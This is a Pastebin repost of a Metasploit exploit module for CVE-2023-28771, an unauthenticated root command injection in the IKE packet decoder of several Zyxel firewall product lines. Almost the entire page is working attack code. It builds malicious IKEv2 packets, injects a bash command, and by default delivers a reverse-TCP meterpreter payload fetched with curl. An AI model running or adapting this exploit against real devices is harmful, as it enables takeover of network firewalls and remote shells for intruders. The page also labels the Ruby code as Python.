Advertisement
FlyFar

Zyxel IKE Packet Decoder - Unauthenticated Remote Code Execution (Metasploit) - CVE-2023-28771

Jun 24th, 2024
579
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.59 KB | Cybersecurity | 0 0
  1. # Exploit Title: Zyxel IKE Packet Decoder Unauthenticated Remote Code Execution
  2. # Date: 2023-03-31
  3. # Exploit Author: sf
  4. # Vendor Homepage: https://www.zyxel.com/
  5. # Software Link: https://www.zyxel.com/
  6. # Version: ATP (Firmware version 4.60 to 5.35 inclusive), USG FLEX (Firmware version 4.60 to 5.35 inclusive),
  7. #          VPN (Firmware version 4.60 to 5.35 inclusive), and ZyWALL/USG (Firmware version 4.60 to 4.73 inclusive)
  8. # Tested on: Linux
  9. # CVE : CVE-2023-28771
  10.  
  11.  
  12. ##
  13. # This module requires Metasploit: https://metasploit.com/download
  14. # Current source: https://github.com/rapid7/metasploit-framework
  15. ##
  16.  
  17. class MetasploitModule < Msf::Exploit::Remote
  18.   Rank = GreatRanking
  19.  
  20.   include Msf::Exploit::Remote::Udp
  21.   def initialize(info = {})
  22.     super(
  23.       update_info(
  24.         info,
  25.         'Name' => 'Zyxel IKE Packet Decoder Unauthenticated Remote Code Execution',
  26.         'Description' => %q{
  27.           This module exploits a remote unauthenticated command injection vulnerability in the Internet Key Exchange
  28.           (IKE) packet decoder over UDP port 500 on the WAN interface of several Zyxel devices. The affected devices are
  29.           as follows: ATP (Firmware version 4.60 to 5.35 inclusive), USG FLEX (Firmware version 4.60 to 5.35 inclusive),
  30.           VPN (Firmware version 4.60 to 5.35 inclusive), and ZyWALL/USG (Firmware version 4.60 to 4.73 inclusive). The
  31.           affected devices are vulnerable in a default configuration and command execution is with root privileges.
  32.         },
  33.         'License' => MSF_LICENSE,
  34.         'Author' => [
  35.           'sf', # MSF Exploit & Rapid7 Analysis
  36.         ],
  37.         'References' => [
  38.           ['CVE', '2023-28771'],
  39.           ['URL', 'https://attackerkb.com/topics/N3i8dxpFKS/cve-2023-28771/rapid7-analysis'],
  40.           ['URL', 'https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-remote-command-injection-vulnerability-of-firewalls']
  41.         ],
  42.         'DisclosureDate' => '2023-03-31',
  43.         'Platform' => %w[unix linux],
  44.         'Arch' => [ARCH_CMD],
  45.         'Privileged' => true, # Code execution as 'root'
  46.         'DefaultOptions' => {
  47.           # We default to a meterpreter payload delivered via a fetch HTTP adapter.
  48.           # Another good payload choice is cmd/unix/reverse_bash.
  49.           'PAYLOAD' => 'cmd/linux/http/mips64/meterpreter_reverse_tcp',
  50.           'FETCH_WRITABLE_DIR' => '/tmp',
  51.           'FETCH_COMMAND' => 'CURL'
  52.         },
  53.         'Targets' => [ [ 'Default', {} ] ],
  54.         'DefaultTarget' => 0,
  55.         'Notes' => {
  56.           # The process /sbin/sshipsecpm may crash after we terminate a session, but it will restart.
  57.           'Stability' => [CRASH_SERVICE_RESTARTS],
  58.           'Reliability' => [REPEATABLE_SESSION],
  59.           'SideEffects' => [IOC_IN_LOGS]
  60.         }
  61.       )
  62.     )
  63.  
  64.     register_options(
  65.       [
  66.         Opt::RPORT(500)
  67.       ]
  68.     )
  69.   end
  70.  
  71.  
  72.   def check
  73.     connect_udp
  74.  
  75.     # Check for the Internet Key Exchange (IKE) service by sending an IKEv1 header with no payload. We can
  76.     # expect to receive an IKE reply containing a Notification payload with a PAYLOAD-MALFORMED message.
  77.  
  78.     # In a default configuration, there appears no known method to identify the platform vendor or version
  79.     # number, so we cannot identify a CheckCode other than CheckCode::Detected or CheckCode::Unknown.
  80.     # If a VPN is configured on the target device, we may receive a Vendor ID corresponding to Zyxel, but we
  81.     # still would not be able to identify the version number of the target service.
  82.  
  83.     ikev2_header = Rex::Text.rand_text_alpha_upper(8) # Initiator SPI
  84.     ikev2_header << [0, 0, 0, 0, 0, 0, 0, 0].pack('C*') # Responder SPI
  85.     ikev2_header << [0].pack('C') # Next Payload: None - 0
  86.     ikev2_header << [16].pack('C') # Version: 1.0 - 16 (0x10)
  87.     ikev2_header << [2].pack('C') # Exchange Type: Identity Protection - 2
  88.     ikev2_header << [0].pack('C') # Flags: None - 0
  89.     ikev2_header << [0].pack('N') # ID: 0
  90.     ikev2_header << [ikev2_header.length + 4].pack('N') # Length
  91.  
  92.     udp_sock.put(ikev2_header)
  93.  
  94.     ikev2_reply = udp_sock.get(udp_sock.def_read_timeout)
  95.  
  96.     disconnect_udp
  97.  
  98.     if !ikev2_reply.empty? && (ikev2_reply.length >= 40) &&
  99.        # Ensure the response 'Initiator SPI' field is the same as the original one sent.
  100.        (ikev2_reply[0, 8] == ikev2_header[0, 8]) &&
  101.        # Ensure the 'Next Payload' field is Notification (11)
  102.        (ikev2_reply[16, 1].unpack('C').first == 11 &&
  103.          # Ensure the 'Exchange Type' field is Informational (5)
  104.          (ikev2_reply[18, 1].unpack('C').first == 5)) &&
  105.        # Ensure the 'Notify Message Type' field is PAYLOAD-MALFORMED (16)
  106.        (ikev2_reply[38, 2].unpack('n').first == 16)
  107.       return CheckCode::Detected('IKE detected but device vendor and service version are unknown.')
  108.     end
  109.  
  110.     CheckCode::Unknown
  111.   end
  112.  
  113.   def exploit
  114.     execute_command(payload.encoded)
  115.   end
  116.  
  117.   def execute_command(cmd)
  118.     connect_udp
  119.  
  120.     cmd_injection = "\";bash -c \"#{cmd}\";echo -n \""
  121.  
  122.     # This value is decoded by the packet decoder using a DES-CBC algorithm. The decoded value is written to the
  123.     # log file. As such the decoded value must not have any null terminator values as these will break our command
  124.     # payload. Therefore we use the below known good value that will decode to a suitable string, allowing the cmd
  125.     # injection payload to work as expected.
  126.     haxb48 = 'HAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB'
  127.  
  128.     ikev2_payload = [0].pack('C') # Next Payload: None - 0
  129.     ikev2_payload << [0].pack('C') # Reserved: 0
  130.     ikev2_payload << [8 + (haxb48.length + cmd_injection.length)].pack('n') # Length: 8 byte header + Notification Data
  131.     ikev2_payload << [1].pack('C') # Protocol ID: ISAKMP - 1
  132.     ikev2_payload << [0].pack('C') # SPI Size: None - 0
  133.     ikev2_payload << [14].pack('n') # Type: NO_PROPOSAL_CHOSEN - 14 (0x0E)
  134.     ikev2_payload << haxb48 + cmd_injection # Notification Data
  135.  
  136.     ikev2_header = Rex::Text.rand_text_alpha_upper(8) # Initiator SPI
  137.     ikev2_header << [0, 0, 0, 0, 0, 0, 0, 0].pack('C*') # Responder SPI
  138.     ikev2_header << [41].pack('C') # Next Payload: Notify - 41 (0x29)
  139.     ikev2_header << [32].pack('C') # Version: 2.0 - 32 (0x20)
  140.     ikev2_header << [34].pack('C') # Exchange Type: IKE_SA_INIT - 34 (0x22)
  141.     ikev2_header << [8].pack('C') # Flags: Initiator - 8
  142.     ikev2_header << [0].pack('N') # ID: 0
  143.     ikev2_header << [ikev2_header.length + 4 + ikev2_payload.length].pack('N') # Length
  144.  
  145.     packet = ikev2_header << ikev2_payload
  146.  
  147.     udp_sock.put(packet)
  148.  
  149.     disconnect_udp
  150.   end
  151.  
  152. end
  153.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement